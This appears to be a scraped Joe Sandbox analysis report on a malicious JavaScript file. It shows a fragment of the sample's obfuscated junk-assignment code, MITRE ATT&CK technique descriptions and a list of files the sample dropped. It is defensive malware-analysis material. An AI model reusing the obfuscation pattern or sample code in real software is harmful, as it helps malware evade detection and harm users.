1416	lpsad = "K";
1417	lpsad = "L";
1418	lpsad = "l";
1419	lpsad = "N";
1420	lpsad = "t";
1421	lpsad = "Y";
1422	lpsad = "H";
1423	lpsad = "p";
1424	lpsad = "a";
1425	lpsad = "G";
1426	lpsad = "B";
1427	lpsad = "P";
1428	lpsad = "K";
1429	lpsad = "C";
1430	lpsad = "X";
1431	lpsad = "w";
1432	lpsad = "t";
1433	lpsad = "g";
1434	lpsad = "d";
1435	lpsad = "f";
1436	erniisu = "p";
1437	erniisu = "H";
1438	erniisu = "h";
1439	erniisu = "V";
1440	erniisu = "Q";
1441	erniisu = "w";
1442	erniisu = "l";
1443	erniisu = "s";
1444	erniisu = "y";
1445	erniisu = "P";
1446	erniisu = "k";
1447	erniisu = "s";
1448	erniisu = "r";
1449	erniisu = "V";
1450	erniisu = "i";
1451	erniisu = "O";
1452	erniisu = "E";
1453	erniisu = "W";
1454	erniisu = "w";
1455	erniisu = "g";
1456	erniisu = "H";
1457	erniisu = "n";
1458	erniisu = "B";
1459	erniisu = "C";
1460	erniisu = "C";
1461	erniisu = "W";
1462	erniisu = "q";
1463	erniisu = "l";
1464	erniisu = "M";
1465	erniisu = "G";
1466	erniisu = "S";
1467	erniisu = "c";
1468	erniisu = "v";
1469	erniisu = "@";
1470	rsshxxwtb = "n";
1471	rsshxxwtb = "B";
1472	rsshxxwtb = "h";
1473	rsshxxwtb = "V";
1474	rsshxxwtb = "S";
1475	rsshxxwtb = "t";
1476	rsshxxwtb = "A";
1477	rsshxxwtb = "p";
1478	rsshxxwtb = "O";
1479	rsshxxwtb = "f";
1480	rsshxxwtb = "b";
1481	rsshxxwtb = "j";
1482	rsshxxwtb = "H";
1483	rsshxxwtb = "O";
1484	rsshxxwtb = "d";
1485	rsshxxwtb = "G";
1486	rsshxxwtb = "o";
1487	rsshxxwtb = "C";
1488	rsshxxwtb = "B";
1489	rsshxxwtb = "l";
1490	rsshxxwtb = "m";
1491	rsshxxwtb = "F";
1492	rsshxxwtb = "D";
1493	rsshxxwtb = "g";
1494	rsshxxwtb = "Q";
1495	rsshxxwtb = "U";
1496	rsshxxwtb = "u";
1497	szbjzn = "u";
1498	szbjzn = "P";
1499	szbjzn = "t";
1500	szbjzn = "P";
1501	szbjzn = "j";
1502	szbjzn = "i";
1503	szbjzn = "i";
1504	szbjzn = "G";
1505	szbjzn = "Y";
1506	szbjzn = "v";
1507	szbjzn = "H";
1508	szbjzn = "m";
1509	szbjzn = "V";
1510	szbjzn = "k";
1511	szbjzn = "q";
1512	szbjzn = "u";
1513	szbjzn = "A";
1514	szbjzn = "C";
1515	szbjzn = "z";
1516	szbjzn = "F";
1517	szbjzn = "Z";
1518	szbjzn = "b";
1519	wsanfojtu ( );	wsanfojtu() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 7654219842078021961.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3c2a549c-d34c-4362-afec-116dd13a4f6c.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9992f6c4-2a2c-468d-be08-2fb8d8f52919.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF56b17b.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
7654219842078021961.js